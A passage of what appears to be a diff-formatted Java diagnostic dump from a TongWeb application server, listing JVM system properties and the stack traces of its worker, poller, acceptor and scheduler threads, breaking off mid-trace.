+org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +java.security.egd: file:/dev/./urandom +file.separator: / +tongejb.version: 8 +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.font.fontmanager: sun.awt.X11FontManager +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +java.rmi.server.hostname: 127.0.0.1 +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"TW-0.0.0.0-8088-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Timer-Cache" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.server.util.Utils$b$a.run(Unknown Source) + +"TW-0.0.0.0-9060-5" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-BlockPoller" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295) + +"TW-Console-Scheduled-2" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-ClientPoller" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-1" #19 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-7" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-2" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TW-0.0.0.0-9060-4" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-5" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-4" #22 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Console-Scheduled-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Console-Thread-2" #94 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-Acceptor" #87 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #30 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6f15822b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"TW-periodic-10" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-6" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-5" #23 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3a7cd4eb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"TW-periodic-3" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-4" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-9" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8088-ClientPoller" #86 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-3" #21 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Console-Scheduled-1" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-9060-Acceptor" #72 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-10" #28 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Scheduled-5" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at 